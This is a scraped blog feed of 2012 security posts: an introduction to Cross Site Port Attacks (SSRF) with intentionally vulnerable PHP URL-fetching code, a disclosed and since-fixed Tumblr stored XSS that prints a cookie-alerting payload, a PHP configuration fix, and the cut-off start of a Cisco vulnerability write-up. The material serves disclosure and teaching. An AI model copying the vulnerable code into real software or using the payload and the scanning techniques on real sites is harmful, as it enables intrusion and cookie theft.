Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-2.html"&gt;Cross Site Port Attacks - XSPA - Part 2&lt;/a&gt;
&lt;br/&gt;
Read &lt;a href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-3.html"&gt;Cross Site Port Attacks - XSPA - Part 3&lt;/a&gt;
&lt;br/&gt;&lt;br/&gt;

Update: Please note that this is independent research conducted as part of my involvement with Bug Bounty programs with several companies and although related to &lt;a href="http://erpscan.com/wp-content/uploads/2012/08/SSRF-vs-Businness-critical-applications-whitepaper.pdf"&gt;Alexander Polyakov's research on SSRF&lt;/a&gt;, the similarity in findings are merely a coincidence and are focused on showing how common XSPA/SSRF are in popular web applications.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Overview&lt;/span&gt; &lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Many web applications provide functionality to pull data from other webservers for various reasons. Using user specified URLs, web applications can be made to fetch images, download XML feeds from remote servers, text based files etc. This functionality can be abused by making crafted queries using the vulnerable web application as a proxy to attack other services running on remote/local servers. Attacks arising via this abuse of functionality are named as Cross Site Port Attacks (XSPA).&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-weight: normal;"&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;What is XSPA?&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An application is vulnerable to Cross Site Port Attacks if the application processes user supplied URLs and does not verify/sanitize the backend response received from remote servers before sending it back to the client. An attacker can send crafted queries to a vulnerable web application to proxy attacks to external Internet facing servers, intranet devices and the web server itself using the advertised functionality of the vulnerable web application. The responses, in certain cases, can be studied to identify service availability (port status, banners etc.) and even fetch data from remote services in unconventional ways.&lt;br /&gt;&lt;br /&gt;The following screengrab shows gravatar.com providing this functionality:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-NopLSb6w_0w/UJpE-eh4_1I/AAAAAAAAAio/28ndTV3SOvU/s1600/gravatar.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://3.bp.blogspot.com/-NopLSb6w_0w/UJpE-eh4_1I/AAAAAAAAAio/28ndTV3SOvU/s640/gravatar.PNG" width="540" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;XSPA allows attackers to abuse available functionality in most web applications to port scan intranet and external Internet facing servers, fingerprint internal (non-Internet exposed) network aware services, perform banner grabbing, identify web application frameworks, exploit vulnerable programs, run code on reachable machines, exploit web application vulnerabilities listening on internal networks, read local files using the file protocol and much more. XSPA has been discovered with Facebook, where it was possible to port scan any Internet facing server using Facebook’s IP addresses. Consecutively, XSPA was also discovered in several other prominent web applications on the Internet, including Google, Apigee, StatMyWeb, Mozilla.org, Face.com, Pinterest, Yahoo, Adobe Omniture and several others. We will take a look at the vulnerabilities that were present in the above mentioned web applications that could be used to launch attacks and perform port scans on remote servers and intranet devices using predefined functionality.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;h2 style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-weight: normal;"&gt;Examples of Implementation &lt;/span&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Let us look at some examples of PHP implementations of file fetching via user supplied URLs. XSPA affects web applications written in any language as long as they let users decide where the data would be fetched from. Please note the examples shown below are neither clean nor secure, however most of the parts of the code outlined below have been obtained from real world application sources.&lt;/span&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
1.&amp;nbsp;&amp;nbsp; &amp;nbsp;PHP file_get_contents:&lt;/span&gt;&lt;/div&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&amp;lt;?php&lt;br /&gt; 
    if (isset($_POST['url'])) &lt;br /&gt;
    { &lt;br /&gt;
    $content = file_get_contents($_POST['url']); &lt;br /&gt;
    $filename = './images/'.rand().'img1.jpg'; &lt;br /&gt;
    file_put_contents($filename, $content); &lt;br /&gt;
    echo $_POST['url']."";     &lt;br /&gt;
    $img = "&amp;lt;img src=\"".$filename."\"/&amp;gt;"; &lt;br /&gt;
    } &lt;br /&gt;
    echo $img; &lt;br /&gt;
?&amp;gt;&lt;br /&gt;&lt;br /&gt;

&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This implementation fetches data as requested by a user (an image in this case) using the file_get_contents PHP function and saves it to a file with a randomly generated filename on the disk. The HTML img attribute then displays the image to the user.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
2.&amp;nbsp;&amp;nbsp;&amp;nbsp; PHP fsockopen() function:&lt;/span&gt;&lt;/div&gt;

&lt;div style="text-align: left;"&gt;

&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&amp;lt;?php &lt;br /&gt;
 function GetFile($host,$port,$link) &lt;br /&gt;
 { &lt;br /&gt;
 $fp = fsockopen($host, intval($port), $errno, $errstr, 30); &lt;br /&gt;
 if (!$fp) { &lt;br /&gt;
  echo "$errstr (error number $errno) \n"; &lt;br /&gt;
 } else { &lt;br /&gt;
  $out = "GET $link HTTP/1.1\r\n"; &lt;br /&gt;
  $out .= "Host: $host\r\n"; &lt;br /&gt;
  $out .= "Connection: Close\r\n\r\n"; &lt;br /&gt;
  $out .= "\r\n"; &lt;br /&gt;
  fwrite($fp, $out); &lt;br /&gt;
  $contents=''; &lt;br /&gt;
  while (!feof($fp)) { &lt;br /&gt;
   $contents.= fgets($fp, 1024); &lt;br /&gt;
  } &lt;br /&gt;
  fclose($fp); &lt;br /&gt;
  return $contents; &lt;br /&gt;
 } &lt;br /&gt;
 }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This implementation fetches data as requested by a user (any file or HTML) using the fsockopen PHP function. This function establishes a TCP connection to a socket on the server and performs a raw data transfer. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;

&lt;div style="text-align: left;"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;3.&amp;nbsp;&amp;nbsp;&amp;nbsp; PHP curl_exec() function: &lt;/span&gt;&lt;/div&gt;

&lt;div style="text-align: left;"&gt;

&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&amp;lt;?php &lt;br /&gt;
  if (isset($_POST['url']))&lt;br /&gt;
    {&lt;br /&gt;
  $link = $_POST['url'];&lt;br /&gt;
  $curlobj = curl_init();&lt;br /&gt;
  curl_setopt($curlobj, CURLOPT_POST, 0);&lt;br /&gt;
  curl_setopt($curlobj,CURLOPT_URL,$link);&lt;br /&gt;
  curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);&lt;br /&gt;
  $result=curl_exec($curlobj);&lt;br /&gt;
  curl_close($curlobj);&lt;br /&gt;
  &lt;br /&gt;
  $filename = './curled/'.rand().'.txt';&lt;br /&gt;
  file_put_contents($filename, $result);    &lt;br /&gt;
  echo $result;&lt;br /&gt;
    }&lt;br /&gt;
?&amp;gt;&lt;br /&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;


&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This is another very common implementation that fetches data using cURL via PHP. The file/data is downloaded and stored to disk under the 'curled' folder and appended with a random number and the '.txt' file extension.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;

&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;In the next part of this series, we shall see some of the attacks that can be launched using this vulnerbility. XSPA allows attackers to target the server infrastructure, mostly the intranet of the web server, the web server itself and any public Internet facing server as well. Currently, I have come across the following five different attacks that can be launched using XSPA:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;1. Port Scanning remote Internet facing servers, intranet devices and the local web server itself. Banner grabbing is also possible in some cases.&lt;br /&gt;2. Exploiting vulnerable programs running on the Intranet or on the local web server&lt;br /&gt;3. Attacking internal/external web applications that are vulnerable to GET parameter based vulnerabilities (SQLi via URL, parameter manipulation etc.)&lt;br /&gt;4. Fingerprinting intranet web applications using standard application default files &amp;amp; behavior&lt;br /&gt;5. Reading local web server files using the file:/// protocol handler.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;We will see examples of each of these scenarios in several prominent web applications on the Internet as well. &lt;/span&gt;&lt;br /&gt;

&lt;br /&gt;&lt;/div&gt;
&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/PtIZmZ-1sds" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/2026929239062083541/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html#comment-form" title="11 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2026929239062083541?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/2026929239062083541?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/PtIZmZ-1sds/cross-site-port-attacks-xspa-part-1.html" title="Cross Site Port Attacks - XSPA - Part 1" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-NopLSb6w_0w/UJpE-eh4_1I/AAAAAAAAAio/28ndTV3SOvU/s72-c/gravatar.PNG" height="72" width="72" /><thr:total>11</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/11/cross-site-port-attacks-xspa-part-1.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcNRXc7eip7ImA9WhJREkw.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-7801033764110800585</id><published>2012-07-11T09:02:00.000-07:00</published><updated>2012-07-13T13:41:34.902-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-07-13T13:41:34.902-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="persistent" /><category scheme="http://www.blogger.com/atom/ns#" term="tumblr" /><category scheme="http://www.blogger.com/atom/ns#" term="stored XSS" /><category scheme="http://www.blogger.com/atom/ns#" term="cookie monster" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="owasp" /><category scheme="http://www.blogger.com/atom/ns#" term="cross site scripting" /><title>Stored (Persistent) XSS on tumblr</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Tumblr is vulnerable to a Stored (persistent) Cross Site Scripting Vulnerability, which I disclosed to them around 3 weeks ago, but it looks like its still not fixed.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Tumblr, stylized as tumblr., is a microblogging platform and social networking website, owned and operated by Tumblr, Inc. The service allows users to post multimedia and other content to a short-form blog, named a "tumblelog". Users can follow other users' blogs, as well as make their blogs private.Much of the website's features are accessed from the "dashboard" interface, where the option to post content and posts of followed blogs appear. [Source: Wikipedia]&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Last I checked, tumblr has 63.7 Million Blogs and 27 Billion Posts [http://www.tumblr.com/about] and which is why it is very discomforting to find an issue like XSS on a site that is ranked 35 on Alexa.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;For the newbies,&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank"&gt;Cross Site Scripting &lt;/a&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;is a vulnerability that arises if an application does not sanitize user input and &lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;sends it back to the browser without removing/encoding 
malicious characters. Malicious characters are any set of characters 
that a browser can use to render HTML or script content 
(&amp;lt;,&amp;gt;,",/&amp;gt; etc..)&lt;/span&gt;.&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
 So, instead of displaying the user input, the browser will 
render/execute it depending on whether the input was HTML tagged content
 or script content.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;XSS can 
cause a lot of serious problems. An attacker can steal cookies, redirect
 users to fake or malicious sites, control a user's browser using 
automated frameworks like &lt;a href="http://www.bindshell.net/tools/beef.html" target="_blank"&gt;BeEF&lt;/a&gt; and download and execute exploits on the victim's computer. Stored XSS is even more dangerous since the script is stored on the server and is executed everytime user visits an infected page. Several &lt;a href="http://en.wikipedia.org/wiki/XSS_worm" target="_blank"&gt;XSS based worms&lt;/a&gt; have been created in the past that have caused a lot of trouble on popular websites like Myspace and Orkut.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;I will wait another week before posting the technical details here, in the mean time here are some screenshots for the curious:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-opr0Sc7HkQ0/T_2haIvZ-uI/AAAAAAAAAgs/LleGjvkXyws/s1600/tumblrStoredXSS.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="258" src="http://3.bp.blogspot.com/-opr0Sc7HkQ0/T_2haIvZ-uI/AAAAAAAAAgs/LleGjvkXyws/s640/tumblrStoredXSS.PNG" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-2ov6pvWauUs/T_2halvOt-I/AAAAAAAAAg0/dPGx07HmRfo/s1600/tumblrStoredXSS2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="350" src="http://2.bp.blogspot.com/-2ov6pvWauUs/T_2halvOt-I/AAAAAAAAAg0/dPGx07HmRfo/s640/tumblrStoredXSS2.PNG" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;
&lt;b&gt;Update [14 July 2012]:&lt;/b&gt;
Tumblr has fixed the Stored XSS vulnerability, so here are the technical details as promised.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The XSS issue was on the&amp;nbsp; "Register Application" page at http://www.tumblr.com/oauth/apps. The application was not sanitizing user input when a user would create a new application. An XSS attack vector like &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;tester"&amp;gt;&amp;lt;img src='x' onerror="alert(document.cookie)" /&amp;gt;&lt;/span&gt; would trigger an alert box, displaying the user's cookie, in the browser.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Great work on the part of the Tumblr Security team in getting this fixed. I only hope they don't wait 3 weeks before fixing something like this the next time.&lt;/br&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/94OcTvgxJpc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/7801033764110800585/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/07/stored-persistent-xss-on-tumblr.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7801033764110800585?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/7801033764110800585?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/94OcTvgxJpc/stored-persistent-xss-on-tumblr.html" title="Stored (Persistent) XSS on tumblr" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-opr0Sc7HkQ0/T_2haIvZ-uI/AAAAAAAAAgs/LleGjvkXyws/s72-c/tumblrStoredXSS.PNG" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/07/stored-persistent-xss-on-tumblr.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEBRng4cSp7ImA9WhJTFEU.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-6822303151056332209</id><published>2012-06-23T13:31:00.000-07:00</published><updated>2012-06-23T13:34:17.639-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-06-23T13:34:17.639-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="syntax error" /><category scheme="http://www.blogger.com/atom/ns#" term="cookie monster" /><category scheme="http://www.blogger.com/atom/ns#" term="short_open_tag" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="php.ini" /><title>PHP Parse error: syntax error, unexpected $end in &lt;filename&gt; on line &lt;line number&gt; - The Error and The Fix</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;While working on a test web application, last night, I hit upon the following error, which for a second had me lost.&lt;/span&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-AD1dw7hRdd4/T-Yh1D1lMKI/AAAAAAAAAgg/ggEGU4RlpF0/s1600/PHPParseError.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="280" src="http://2.bp.blogspot.com/-AD1dw7hRdd4/T-Yh1D1lMKI/AAAAAAAAAgg/ggEGU4RlpF0/s550/PHPParseError.png" width="550" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;I checked to see if I had the opening and the closing tags correct. Upon further investigation, I found that this was due to my using the "short tag" for PHP in the html_functions.php file. I normally use "&amp;lt;?php" to open and "?&amp;gt;" to close my PHP statements, but in this particular file, I had missed on the "php" and had accidentally used "&amp;lt;?" to open a statement.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;As it is evident from the image, I use &lt;a href="http://www.apachefriends.org/en/xampp.html" target="_blank"&gt;XAMPP&lt;/a&gt; to host test applications, when developing on Windows. To find more about this setting I did some reading on a specific setting in php.ini called "&lt;/span&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;short_open_tag". I opened the php.ini inside "c:\xampp\php\php.ini" - which is the default location for XAMPP,&amp;nbsp;and searched for the "short_open_tag" setting. This specific setting was set to "off", so the quickfix was to merely change the setting to "on", restarting Apache and reloading the page. The setting in the php.ini finally looked like this:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;short_open_tag = On&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;The following paragraph explains the setting better, taken from the php.ini file.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;This directive determines whether or not PHP will recognize code between &amp;lt;? and ?&amp;gt; tags as PHP source which should be processed as such. It's been recommended for several years that you not use the short tag "short cut" and instead to use the full &amp;lt;?php and ?&amp;gt; tag combination. With the wide spread use of XML and use of these tags by other languages, the server can become easily confused and end up parsing the wrong code in the wrong context. But because this short cut has been a feature for such a long time, it's currently still supported for backwards compatibility, but we recommend you don't use them.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Default Value: On&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Development Value: Off&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Production Value: Off&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;http://php.net/short-open-tag&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;Problem solved, I spent the rest of the time I had on some fancy GUI and cookie monsters :D&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/riyazwalikar/~4/XEpxX8hImIc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.riyazwalikar.com/feeds/6822303151056332209/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.riyazwalikar.com/2012/06/php-parse-error-syntax-error-unexpected.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6822303151056332209?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4333330172780240225/posts/default/6822303151056332209?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/riyazwalikar/~3/XEpxX8hImIc/php-parse-error-syntax-error-unexpected.html" title="PHP Parse error: syntax error, unexpected $end in &amp;lt;filename&amp;gt; on line &amp;lt;line number&amp;gt; - The Error and The Fix" /><author><name>Riyaz Ahemed Walikar</name><uri>http://www.blogger.com/profile/10553011445419057597</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="22" height="32" src="http://2.bp.blogspot.com/-Gt2oM9Ob-IU/UJzlXjWhBYI/AAAAAAAAAi8/_LtVk7nXhz8/s220/profile.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-AD1dw7hRdd4/T-Yh1D1lMKI/AAAAAAAAAgg/ggEGU4RlpF0/s72-c/PHPParseError.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.riyazwalikar.com/2012/06/php-parse-error-syntax-error-unexpected.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8MRno6fSp7ImA9WhJTEUo.&quot;"><id>tag:blogger.com,1999:blog-4333330172780240225.post-5557769799115360995</id><published>2012-06-19T22:41:00.001-07:00</published><updated>2012-06-19T22:41:27.415-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-06-19T22:41:27.415-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="web application" /><category scheme="http://www.blogger.com/atom/ns#" term="cisco" /><category scheme="http://www.blogger.com/atom/ns#" term="xss" /><category scheme="http://www.blogger.com/atom/ns#" term="vulnerability" /><category scheme="http://www.blogger.com/atom/ns#" term="cross site scripting" /><title>Multiple Vulnerabilities with the Cisco Developer Network</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;I found a bunch of vulnerabilities with Cisco subdomains a couple of weeks ago, some of them were plain old &lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;a href="https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29" target="_blank"&gt;XSS vulnerabilities&lt;/a&gt;,&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;while others were more interesting. Cisco is yet to fix some of them which I will not be talking about here, however I will discuss the other issues that I found and which have now been fixed.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;I found an XSS on the developer.cisco.com domain, and since Cisco uses Single Sign On for most of its subdomains, an attacker could simply exploit this issue and gain access to the user accounts under other Cisco domains. The Cisco Developer Network runs on a well known product, which is actively maintained by the developers and used worldwide by several major corporations.&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;For the noobs,&lt;/span&gt; &lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;An XSS or Cross Site Scripting vulnerability occurs when an application accepts user input and sends it back to the browser without removing/encoding malicious characters. Malicious characters are any set of characters that a browser can use to render HTML or script content (&amp;lt;,&amp;gt;,",/&amp;gt; etc..)&lt;/span&gt;.&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt; So, instead of displaying the user input, the browser will render/execute it depending on whether the input was HTML tagged content or script content.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user's browser using automated frameworks like &lt;a href="http://www.bindshell.net/tools/beef.html" target="_blank"&gt;BeEF&lt;/a&gt; and download and execute exploits on the victim's computer.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The other issue I found was particularly interesting because the application failed to check necessary user privilege levels while a user attempted access to application modules that were obviously sensitive. To this effect, I was able to locate the administration modules of several key sections under developer.cisco.com that would have allowed me to upload files, change and delete the content that users would see. I had access to all available administrative tasks since the application was clearly not checking whether I had admin or guest privileges. To make things worse, Google had traversed and cached these pages which would allow an attacker to reach to all the administration modules following an advanced Google search.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Now that both the issues have been fixed, here's a finer look at the vulnerabilities:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
